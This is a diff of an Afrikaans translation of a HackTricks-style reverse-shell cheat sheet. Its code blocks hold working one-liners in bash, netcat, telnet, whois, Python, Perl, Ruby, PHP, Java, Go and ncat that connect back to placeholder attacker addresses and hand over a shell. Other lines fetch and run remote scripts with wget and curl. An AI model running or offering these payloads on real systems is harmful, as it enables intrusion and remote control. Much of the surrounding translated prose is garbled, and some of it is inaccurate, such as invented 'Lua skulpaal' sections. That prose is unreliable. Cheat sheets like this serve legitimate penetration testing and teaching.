* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
**As jy vrae het oor enige van hierdie skulpe, kan jy dit nagaan met** [**https://explainshell.com/**](https://explainshell.com)
|
||||
**As jy vrae het oor enige van hierdie skulpe, kan jy hulle nagaan met** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Volledige TTY
|
||||
|
||||
|
@ -41,9 +33,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
|
|||
#after getting the previous shell to get the output to execute
|
||||
exec >&0
|
||||
```
|
||||
Moenie vergeet om te kyk na ander skulpe nie: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, en bash.
|
||||
### Simbool veilige dop
|
||||
|
||||
### Simbool veilige skulp
|
||||
Moenie vergeet om te kontroleer met ander doppe: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, en bash.
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
|
@ -54,30 +46,28 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
```
|
||||
#### Skulverduideliking
|
||||
|
||||
1. **`bash -i`**: Hierdie deel van die bevel begin 'n interaktiewe (`-i`) Bash-skyf.
|
||||
1. **`bash -i`**: Hierdie deel van die bevel begin 'n interaktiewe (`-i`) Bash-skul.
|
||||
2. **`>&`**: Hierdie deel van die bevel is 'n kort notasie vir die **omleiding van beide standaard uitvoer** (`stdout`) en **standaard fout** (`stderr`) na dieselfde bestemming.
|
||||
3. **`/dev/tcp/<AANVALLER-IP>/<POORT>`**: Dit is 'n spesiale lêer wat 'n TCP-verbinding na die gespesifiseerde IP-adres en poort **voorstel**.
|
||||
* Deur die uitvoer- en foutstrome na hierdie lêer te **omlei**, stuur die bevel die uitset van die interaktiewe skyfsessie effektief na die aanvaller se masjien.
|
||||
4. **`0>&1`**: Hierdie deel van die bevel **omlei standaardinskrywing (`stdin`) na dieselfde bestemming as standaarduitvoer (`stdout`)**.
|
||||
|
||||
### Skep in lêer en voer uit
|
||||
3. **`/dev/tcp/<AANVALLER-IP>/<POORT>`**: Dit is 'n spesiale lêer wat 'n TCP-verbinding met die gespesifiseerde IP-adres en poort **voorstel**.
|
||||
* Deur **die uitset- en foutstrome na hierdie lêer om te lei**, stuur die bevel effektief die uitset van die interaktiewe skul-sessie na die aanvaller se masjien.
|
||||
4. **`0>&1`**: Hierdie deel van die bevel **lei standaard inset (`stdin`) om na dieselfde bestemming as standaard uitvoer (`stdout`)**.
|
||||
```bash
|
||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||||
```
|
||||
## Voorwaartse Skulp
|
||||
## Voorwaartse Skul
|
||||
|
||||
As jy 'n **RCE kwesbaarheid** binne 'n Linux-gebaseerde webtoepassing teëkom, kan daar gevalle wees waar **dit moeilik word om 'n omgekeerde skulp te verkry** as gevolg van die teenwoordigheid van Iptables-reëls of ander filters. In sulke scenario's, oorweeg om 'n PTY-skulp binne die gekompromitteerde stelsel te skep deur gebruik te maak van pype.
|
||||
Indien jy 'n **RCE kwesbaarheid** binne 'n Linux-gebaseerde webtoepassing teëkom, kan daar gevalle wees waar **die verkryging van 'n omgekeerde skul moeilik word** as gevolg van die teenwoordigheid van Iptables-reëls of ander filters. In sulke scenarios, oorweeg om 'n PTY skul binne die gekompromitteerde stelsel te skep deur pype te gebruik.
|
||||
|
||||
Jy kan die kode vind op [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
|
||||
|
||||
Jy hoef net te wysig:
|
||||
|
||||
* Die URL van die kwesbare gasheer
|
||||
* Die voorvoegsel en agtervoegsel van jou payload (indien enige)
|
||||
* Die manier waarop die payload gestuur word (koppe? data? ekstra inligting?)
|
||||
* Die voorvoegsel en agtervoegsel van jou lading (indien enige)
|
||||
* Die manier waarop die lading gestuur word (koppe? data? ekstra inligting?)
|
||||
|
||||
Daarna kan jy net **opdragte stuur** of selfs die `upgrade`-opdrag gebruik om 'n volledige PTY te kry (let daarop dat pype gelees en geskryf word met 'n benaderde vertraging van 1.3s).
|
||||
Daarna kan jy net **bevele stuur** of selfs die `upgrade` bevel **gebruik om 'n volledige PTY te kry** (let daarop dat pype gelees en geskryf word met 'n benaderde vertraging van 1.3s).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
|
@ -89,34 +79,11 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
|
|||
```
|
||||
## gsocket
|
||||
|
||||
Kyk dit na by [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
Kyk dit na op [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
```bash
|
||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||
```
|
||||
## Telnet
|
||||
|
||||
Telnet is 'n protokol wat gebruik word om 'n verbinding met 'n bediener te maak en op afstand te kommunikeer. Dit maak gebruik van 'n onversleutelde verbinding, wat beteken dat die inligting wat oorgedra word, nie geïnkodeer word nie en dus vatbaar is vir afluistering. Telnet word dikwels gebruik om toegang tot 'n bediener se opdraglyn te verkry en opdragte uit te voer.
|
||||
|
||||
### Telnet-aanvalle
|
||||
|
||||
Telnet-aanvalle is 'n metode wat deur aanvallers gebruik word om toegang tot 'n bediener te verkry deur die gebruik van swak of gesteelde legitimasie-inligting. Hierdie aanvalle kan gebruik word om ongemagtigde toegang tot 'n bediener te verkry en potensieel skadelike opdragte uit te voer.
|
||||
|
||||
### Mitigasie
|
||||
|
||||
Om Telnet-aanvalle te voorkom, moet die volgende stappe geneem word:
|
||||
|
||||
- Telnet moet gedeaktiveer word as dit nie nodig is nie.
|
||||
- As Telnet wel nodig is, moet dit slegs toeganklik wees via 'n veilige, versleutelde verbinding.
|
||||
- Sterk legitimasiebeleid moet geïmplementeer word om te verseker dat slegs geakkrediteerde gebruikers toegang tot die Telnet-diens het.
|
||||
- Die gebruik van sterk, unieke wagwoorde moet afgedwing word om die risiko van gesteelde legitimasie-inligting te verminder.
|
||||
|
||||
### Voorbeeld
|
||||
|
||||
```bash
|
||||
telnet 192.168.0.1
|
||||
```
|
||||
|
||||
In hierdie voorbeeld maak die gebruiker 'n Telnet-verbinding met die IP-adres 192.168.0.1.
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
|
@ -136,49 +103,6 @@ Om die bevel te stuur, skryf dit neer, druk enter en druk CTRL+D (om STDIN te st
|
|||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||
```
|
||||
## Python
|
||||
|
||||
Python is 'n baie gewilde programmeertaal wat algemeen gebruik word in die hacking-gemeenskap. Dit is 'n hoëvlaktaal met 'n eenvoudige sintaksis, wat dit maklik maak om te leer en te gebruik. Python bied 'n wye verskeidenheid biblioteke en modules wat spesifiek ontwerp is vir hacking en pentesting.
|
||||
|
||||
### Python-installasie
|
||||
|
||||
Om Python op Linux te installeer, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
sudo apt-get install python
|
||||
```
|
||||
|
||||
### Python-skripsies uitvoer
|
||||
|
||||
Om 'n Python-skripsie uit te voer, gebruik die volgende sintaksis:
|
||||
|
||||
```bash
|
||||
python skripsie.py
|
||||
```
|
||||
|
||||
### Python-interaktiewe modus
|
||||
|
||||
Python bied 'n interaktiewe modus wat gebruik kan word om Python-kode regstreeks in die opdragreël uit te voer. Om die interaktiewe modus te begin, tik eenvoudig `python` in die opdragreël.
|
||||
|
||||
### Python-biblioteke vir hacking
|
||||
|
||||
Daar is 'n verskeidenheid Python-biblioteke wat nuttig kan wees vir hacking en pentesting. Hier is 'n paar voorbeelde:
|
||||
|
||||
- **Scapy**: 'n kragtige en veelsydige biblioteek vir netwerkpakketmanipulasie.
|
||||
- **Requests**: 'n eenvoudige en maklik om te gebruik biblioteek vir HTTP-aanvrae.
|
||||
- **BeautifulSoup**: 'n biblioteek vir die skraping van webinhoud.
|
||||
- **Paramiko**: 'n SSH-implementering vir Python.
|
||||
- **Pycrypto**: 'n biblioteek vir kriptografie-operasies.
|
||||
- **Selenium**: 'n biblioteek vir outomatiese webblaaierinteraksie.
|
||||
|
||||
### Python-bronne
|
||||
|
||||
As jy meer wil leer oor Python en hoe dit gebruik kan word vir hacking, is hier 'n paar nuttige bronne:
|
||||
|
||||
- [Python.org](https://www.python.org/): Die amptelike webwerf van Python, met dokumentasie en tutoriale.
|
||||
- [Hacking with Python](https://www.hackingwithpython.com/): 'n Gratis aanlynbron met praktiese hacking-projekte en tutoriale.
|
||||
- [Black Hat Python](https://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900): 'n Boek deur Justin Seitz wat Python-programmering toepas op hacking-scenarios.
|
||||
|
||||
Python is 'n kragtige en veelsydige taal wat 'n waardevolle hulpmiddel kan wees vir enige hacker of pentester. Deur Python te leer en te gebruik, kan jy jou vaardighede in die hacking-wêreld verbeter en meer doeltreffend word in jou pogings.
|
||||
```bash
|
||||
#Linux
|
||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
|
@ -188,88 +112,17 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
|
|||
```
|
||||
## Perl
|
||||
|
||||
Perl is 'n kragtige skriptaal wat algemeen gebruik word in die wêreld van hacking. Dit bied 'n verskeidenheid funksies en modules wat dit 'n gewilde keuse maak vir die uitvoer van verskillende hacking-take.
|
||||
|
||||
### Uitvoer van Perl-skrips
|
||||
|
||||
Om 'n Perl-skrip uit te voer, gebruik die volgende sintaks:
|
||||
|
||||
```bash
|
||||
perl skrip.pl
|
||||
```
|
||||
|
||||
### Basiese sintaks
|
||||
|
||||
Hier is 'n paar basiese sintaksreëls vir Perl:
|
||||
|
||||
- Kommentaar: `# Hierdie is 'n kommentaar`
|
||||
- Veranderlike toekenning: `$naam = waarde;`
|
||||
- Druk na die skerm: `print "Boodskap";`
|
||||
- Invoer vanaf die gebruiker: `$invoer = <STDIN>;`
|
||||
|
||||
### Belangrike funksies en modules
|
||||
|
||||
Perl het 'n ryk versameling funksies en modules wat nuttig kan wees vir hacking. Hier is 'n paar belangrike een:
|
||||
|
||||
- `system()`: Hierdie funksie voer 'n stelseloproepe uit en kan gebruik word om eksterne opdragte uit te voer.
|
||||
- `open()`: Hierdie funksie maak 'n lêer oop vir lees- of skryftoegang.
|
||||
- `close()`: Hierdie funksie sluit 'n oop lêer.
|
||||
- `chdir()`: Hierdie funksie verander die huidige werkspasie.
|
||||
- `unlink()`: Hierdie funksie verwyder 'n lêer van die lêersisteem.
|
||||
|
||||
### Voorbeeld van 'n Perl-skrip
|
||||
|
||||
Hier is 'n voorbeeld van 'n eenvoudige Perl-skrip wat die huidige datum en tyd druk:
|
||||
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
|
||||
use strict;
|
||||
use warnings;
|
||||
|
||||
my $datum_tyd = `date`;
|
||||
print "Die huidige datum en tyd is: $datum_tyd";
|
||||
```
|
||||
|
||||
Hierdie skrip gebruik die `date`-opdrag om die huidige datum en tyd te kry en druk dit dan na die skerm.
|
||||
|
||||
### Slotwoord
|
||||
|
||||
Perl is 'n kragtige skriptaal wat 'n verskeidenheid hacking-take kan uitvoer. Deur die gebruik van die regte funksies en modules, kan jy doeltreffend en doelgerig te werk gaan in jou hacking-projekte.
|
||||
Perl is 'n kragtige en veelsydige skriptaal wat dikwels gebruik word vir die skryf van skelmskripte. Dit bied 'n wye verskeidenheid van funksies en modules wat dit 'n gewilde keuse maak vir hackers wat verskeie take wil uitvoer binne 'n Linux-omgewing.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby is 'n dinamiese, objek-georiënteerde programmeertaal wat algemeen gebruik word vir webontwikkeling en skripskryf. Dit het 'n eenvoudige sintaksis en is maklik om te leer en te gebruik. Hier is 'n paar belangrike punte oor Ruby:
|
||||
|
||||
- **Interaktiewe omgewing**: Ruby het 'n interaktiewe omgewing, bekend as 'n IRB (Interactive Ruby), waar jy kode kan skryf en dit onmiddellik kan uitvoer om resultate te sien.
|
||||
|
||||
- **Objek-georiënteerd**: Ruby is 'n volledig objek-georiënteerde programmeertaal, wat beteken dat alles in Ruby 'n objek is. Dit maak gebruik van klasse en objek om funksionaliteit te organiseer en te struktureer.
|
||||
|
||||
- **Dinamies**: Ruby is 'n dinamiese programmeertaal, wat beteken dat jy veranderlikes kan skep en hulle kan toewys sonder om hulle tipes vooraf te spesifiseer. Dit maak dit maklik om kode te skryf en te verander sonder om jouself te bekommer oor tipes nie.
|
||||
|
||||
- **Gemeenskap**: Ruby het 'n aktiewe en ondersteunende gemeenskap van ontwikkelaars regoor die wêreld. Daar is baie bronne, tutoriale en biblioteke beskikbaar om jou te help om met Ruby te werk.
|
||||
|
||||
- **Rails**: Ruby on Rails is 'n gewilde webraamwerk wat gebou is op Ruby. Dit bied 'n gestandaardiseerde manier om webtoepassings te bou en maak gebruik van die krag van Ruby se objek-georiënteerde model.
|
||||
|
||||
As jy belangstel om Ruby te leer, kan jy begin deur die dokumentasie en tutoriale op die amptelike Ruby-webwerf te bestudeer. Daar is ook baie boeke en aanlynbronne beskikbaar wat jou kan help om die taal te leer en te bemeester.
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## PHP
|
||||
|
||||
PHP is 'n skripsie-taal wat algemeen gebruik word vir die ontwikkeling van webtoepassings. Dit word meestal geïnterpreteer deur 'n webbediener wat die uitvoering van PHP-kode moontlik maak. Hier is 'n paar belangrike punte om in gedagte te hou wanneer dit kom by PHP:
|
||||
|
||||
- **Ingeslote kode**: PHP-kode word gewoonlik ingesluit in HTML-dokumente deur gebruik te maak van die `<?php` en `?>` etikette. Hierdie kode word uitgevoer deur die webbediener voordat die HTML na die kliënt gestuur word.
|
||||
- **Dinamiese inhoud**: PHP maak dit moontlik om dinamiese inhoud op 'n webwerf te skep deur die gebruik van veranderlikes, lusse, voorwaardelike verklarings en funksies.
|
||||
- **Databasisinteraksie**: PHP kan gebruik word om te kommunikeer met 'n databasis deur middel van verskillende databasisverbindingsbiblioteke soos MySQLi en PDO.
|
||||
- **Veiligheidsoorwegings**: Dit is belangrik om sekuriteitsmaatreëls in ag te neem wanneer jy PHP-kode skryf om te verseker dat jou webtoepassing nie kwesbaar is vir aanvalle soos SQL-injeksie of kruisskripsaanvalle nie.
|
||||
- **Foutafhandeling**: PHP bied verskillende metodes om foute af te handel, insluitend die gebruik van uitsonderings en foutkodes.
|
||||
|
||||
PHP bied 'n kragtige en veelsydige raamwerk vir die ontwikkeling van webtoepassings. Dit is belangrik om 'n goeie begrip van die taal te hê en om bewus te wees van die beste praktyke vir die skryf van veilige en doeltreffende PHP-kode.
|
||||
```php
|
||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||
|
@ -282,103 +135,19 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
|||
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
||||
```
|
||||
## Java
|
||||
|
||||
Java is 'n populaire programmeertaal wat gebruik word vir die ontwikkeling van verskeie toepassings, insluitend webtoepassings, mobiele toepassings en bedryfsagteware. Dit is 'n objekgeoriënteerde taal wat bekendheid geniet vir sy veiligheid, betroubaarheid en draagbaarheid.
|
||||
|
||||
### Voordeligheid van Java vir hackers
|
||||
|
||||
Java bied 'n paar voordelige eienskappe vir hackers:
|
||||
|
||||
- **Platformonafhanklikheid**: Java-kode kan uitgevoer word op verskillende bedryfstelsels, soos Windows, Linux en macOS, sonder om dit te hoef herskryf. Dit maak dit makliker vir hackers om hul gereedskap en aanvalskode op verskillende doelwitte te gebruik.
|
||||
|
||||
- **Groot gemeenskap**: Java het 'n groot gemeenskap van ontwikkelaars en ondersteuners wat gereed is om hulp te bied en kennis te deel. Hierdie gemeenskap bied 'n ryk bron van inligting, hulpmiddels en biblioteke wat hackers kan gebruik om hul vaardighede te verbeter en aanvalskode te ontwikkel.
|
||||
|
||||
- **Veiligheidsmaatreëls**: Java het ingeboude veiligheidsmaatreëls wat die uitvoering van skadelike kodes beperk. Hierdie maatreëls sluit in 'n streng toegangsbeheerstelsel, geheuebestuur en 'n sandboksomgewing vir die uitvoering van onbekende kodes. Alhoewel dit 'n uitdaging kan wees vir hackers om hierdie maatreëls te omseil, kan dit ook 'n geleentheid bied om kreatiewe maniere te vind om dit te doen.
|
||||
|
||||
### Java-hackingtegnieke
|
||||
|
||||
Java bied 'n verskeidenheid hackingtegnieke wat hackers kan gebruik om toegang te verkry tot stelsels, data te ontgin en aanvalle uit te voer. Hier is 'n paar voorbeelde van sulke tegnieke:
|
||||
|
||||
- **Java Remote Method Invocation (RMI)**: Hierdie tegniek maak dit moontlik vir 'n hacker om kode uit te voer op 'n afgeleë Java-stelsel deur gebruik te maak van die RMI-meganisme. Dit kan gebruik word om toegang te verkry tot gevoelige data of om skadelike kodes op die doelwitstelsel uit te voer.
|
||||
|
||||
- **Java Applet-aanvalle**: Java-applets is klein programme wat in 'n webblaaier uitgevoer kan word. Hackers kan kwaadwillige applets ontwikkel wat gebruik maak van swakplekke in die Java-beveiliging om toegang te verkry tot die stelsel van die gebruiker en skadelike aksies uit te voer.
|
||||
|
||||
- **Java Deserialisering-aanvalle**: Hierdie aanvaltegniek maak gebruik van swakplekke in die deserialiseringproses van Java-objekte om skadelike kodes uit te voer. Deur 'n kwaadwillige objek te skep en dit na 'n kwesbare toepassing te stuur, kan 'n hacker die uitvoering van skadelike kodes op die doelwitstelsel veroorsaak.
|
||||
|
||||
- **Java-beveiligingslekke**: Soos enige ander programmeertaal, het Java ook sy deel van beveiligingslekke. Hackers kan hierdie lekke uitbuit om toegang te verkry tot stelsels, data te ontgin of aanvalle uit te voer. Dit sluit in swakplekke in die Java-virtuele masjien, biblioteke en frameworks wat deur Java-toepassings gebruik word.
|
||||
|
||||
### Hulpmiddels vir Java-hacking
|
||||
|
||||
Daar is 'n verskeidenheid hulpmiddels beskikbaar vir hackers wat Java-hackingtegnieke wil toepas. Hier is 'n paar voorbeelde van sulke hulpmiddels:
|
||||
|
||||
- **Metasploit**: Metasploit is 'n kragtige raamwerk vir die ontwikkeling en uitvoering van aanvalskode. Dit bied 'n verskeidenheid modules en hulpmiddels wat spesifiek ontwerp is vir Java-hacking.
|
||||
|
||||
- **Java Decompilers**: Java Decompilers is hulpmiddels wat gebruik word om Java-kode te ontleed en te analiseer. Dit kan nuttig wees vir hackers om die werking van Java-toepassings te verstaan en swakplekke te identifiseer.
|
||||
|
||||
- **Burp Suite**: Burp Suite is 'n uitgebreide hulpmiddelstel vir webtoepassingtoetsing en -hacking. Dit bied 'n reeks modules en funksies wat spesifiek ontwerp is vir die identifisering en uitbuiting van swakplekke in Java-webtoepassings.
|
||||
|
||||
- **Java Security Manager**: Java Security Manager is 'n ingeboude hulpmiddel wat gebruik kan word om die toegang tot hulpbronne en funksies in Java-toepassings te beperk. Dit kan nuttig wees vir hackers om beperkings te omseil en toegang te verkry tot verbode hulpbronne.
|
||||
|
||||
### Slotwoord
|
||||
|
||||
Java bied 'n wye verskeidenheid hackingtegnieke en hulpmiddels vir hackers om toegang te verkry tot stelsels, data te ontgin en aanvalle uit te voer. Dit is belangrik vir hackers om 'n diepgaande begrip van die Java-programmeertaal en die veiligheidsmaatreëls daarvan te hê om suksesvolle aanvalle uit te voer.
|
||||
```bash
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
## Ncat
|
||||
|
||||
Ncat is a powerful networking utility that is included in the Nmap suite. It is designed to be a flexible and reliable tool for network exploration and security auditing. Ncat can be used to create and manage network connections, perform port scanning, and transfer files between systems.
|
||||
|
||||
### Basic Usage
|
||||
|
||||
To establish a basic TCP connection using Ncat, you can use the following command:
|
||||
|
||||
```
|
||||
ncat <target_ip> <port>
|
||||
```
|
||||
|
||||
Replace `<target_ip>` with the IP address of the target system and `<port>` with the desired port number.
|
||||
|
||||
### Port Scanning
|
||||
|
||||
Ncat can also be used for port scanning. To scan a range of ports on a target system, you can use the following command:
|
||||
|
||||
```
|
||||
ncat -v -z <target_ip> <start_port>-<end_port>
|
||||
```
|
||||
|
||||
Replace `<target_ip>` with the IP address of the target system, `<start_port>` with the starting port number, and `<end_port>` with the ending port number.
|
||||
|
||||
### File Transfer
|
||||
|
||||
Ncat supports file transfer between systems. To send a file from the local system to a remote system, you can use the following command:
|
||||
|
||||
```
|
||||
ncat -l <port> < file_to_send
|
||||
```
|
||||
|
||||
Replace `<port>` with the desired port number and `file_to_send` with the name of the file you want to send.
|
||||
|
||||
To receive a file on the local system, you can use the following command on the remote system:
|
||||
|
||||
```
|
||||
ncat <local_ip> <port> > file_to_receive
|
||||
```
|
||||
|
||||
Replace `<local_ip>` with the IP address of the local system, `<port>` with the desired port number, and `file_to_receive` with the name you want to give to the received file.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Ncat is a versatile tool that can be used for various networking tasks, including establishing network connections, performing port scanning, and transferring files between systems. Its flexibility and reliability make it a valuable asset for network exploration and security auditing.
|
||||
```bash
|
||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder spoor jou aanvalsoppervlak op, hardloop proaktiewe dreigingsskanderings, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) vandag.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -390,37 +159,21 @@ echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","
|
|||
```
|
||||
## Lua
|
||||
|
||||
Lua is 'n kragtige, vinnige en ligte skriptaal wat dikwels gebruik word vir die ontwikkeling van spelletjies, webtoepassings en ander sagteware. Dit bied 'n eenvoudige sintaksis en 'n klein geheue-afdruk, wat dit 'n gewilde keuse maak vir verskeie toepassings.
|
||||
### Inleiding
|
||||
|
||||
### Lua Skelms
|
||||
Lua is 'n kragtige, effektiewe, ligte, en maklik aanpasbare skrips taal wat dikwels gebruik word in die wêreld van sagteware-ontwikkeling. Dit word dikwels gebruik vir die skryf van skrips wat in 'n groter sagtewaretoepassing geïntegreer word om spesifieke funksionaliteit te bied.
|
||||
|
||||
#### Lua Skelms deur die opstel van 'n skadelike kode
|
||||
### Lua Skulpaal
|
||||
|
||||
Om 'n Lua-skelm te skep, kan jy skadelike kode in 'n Lua-skripsie insluit. Wanneer die skripsie uitgevoer word, sal die skadelike kode ook uitgevoer word. Dit kan gebruik word om verskeie aanvalle uit te voer, soos die uitvoering van skadelike instruksies, die verkryging van toegang tot die stelsel, of die verspreiding van malware.
|
||||
Lua skulpaal is 'n tegniek wat gebruik word om sagteware te manipuleer deur die insluiting van skadelike kodes in 'n toepassing. Dit kan gebruik word om die sagteware se funksionaliteit te verander, data te steel, of selfs die hele stelsel te kompromiteer.
|
||||
|
||||
#### Lua Skelms deur die manipulasie van bestaande skripsies
|
||||
### Lua Skulpaal Tegnieke
|
||||
|
||||
'n Ander metode om 'n Lua-skelm te skep, is deur die manipulasie van bestaande Lua-skripsies. Dit kan gedoen word deur die insluiting van skadelike kode in 'n bestaande skripsie, of deur die verandering van die funksionaliteit van 'n bestaande skripsie om skadelike aksies uit te voer.
|
||||
Daar is verskeie tegnieke wat gebruik kan word vir Lua skulpaal, insluitend die insluiting van skadelike kodes in Lua skrips, die manipulasie van bestaande Lua skrips, en die uitbuiting van swakhede in die Lua-uitvoeringsomgewing.
|
||||
|
||||
### Lua Skelms Voorkoming
|
||||
### Beskerming teen Lua Skulpaal
|
||||
|
||||
Om Lua-skripsieskelms te voorkom, moet jy sekuriteitsmaatreëls implementeer soos:
|
||||
|
||||
- Vertrou nie onbetroubare bronne nie en verifieer die bron van die skripsie voordat dit uitgevoer word.
|
||||
- Beperk die toegang tot die Lua-omgewing en beperk die funksies wat beskikbaar is vir uitvoering.
|
||||
- Monitor die uitvoering van Lua-skripsies vir enige verdagte aktiwiteit.
|
||||
- Verseker dat die Lua-omgewing opgedateer en gepatch is om bekende kwesbaarhede te voorkom.
|
||||
|
||||
### Lua Skelms Oplossings
|
||||
|
||||
As jy vermoed dat 'n Lua-skripsie 'n skelm bevat, kan jy die volgende stappe neem om dit op te los:
|
||||
|
||||
1. Verwyder die skadelike kode uit die skripsie.
|
||||
2. Verifieer die bron van die skripsie en verseker dat dit betroubaar is.
|
||||
3. Monitor die stelsel vir enige verdagte aktiwiteit en neem stappe om dit te beperk.
|
||||
4. Verseker dat die Lua-omgewing opgedateer en gepatch is om bekende kwesbaarhede te voorkom.
|
||||
|
||||
Deur hierdie maatreëls te implementeer, kan jy die risiko van Lua-skripsieskelms verminder en jou stelsel veilig hou.
|
||||
Om jouself teen Lua skulpaal te beskerm, is dit belangrik om te verseker dat jy slegs vertroude Lua-skripte hardloop, om jou sagteware gereeld te opdateer om bekende swakhede te dink, en om sekuriteitsmaatreëls soos toegangsbeheer en data-versleuteling te implementeer.
|
||||
```bash
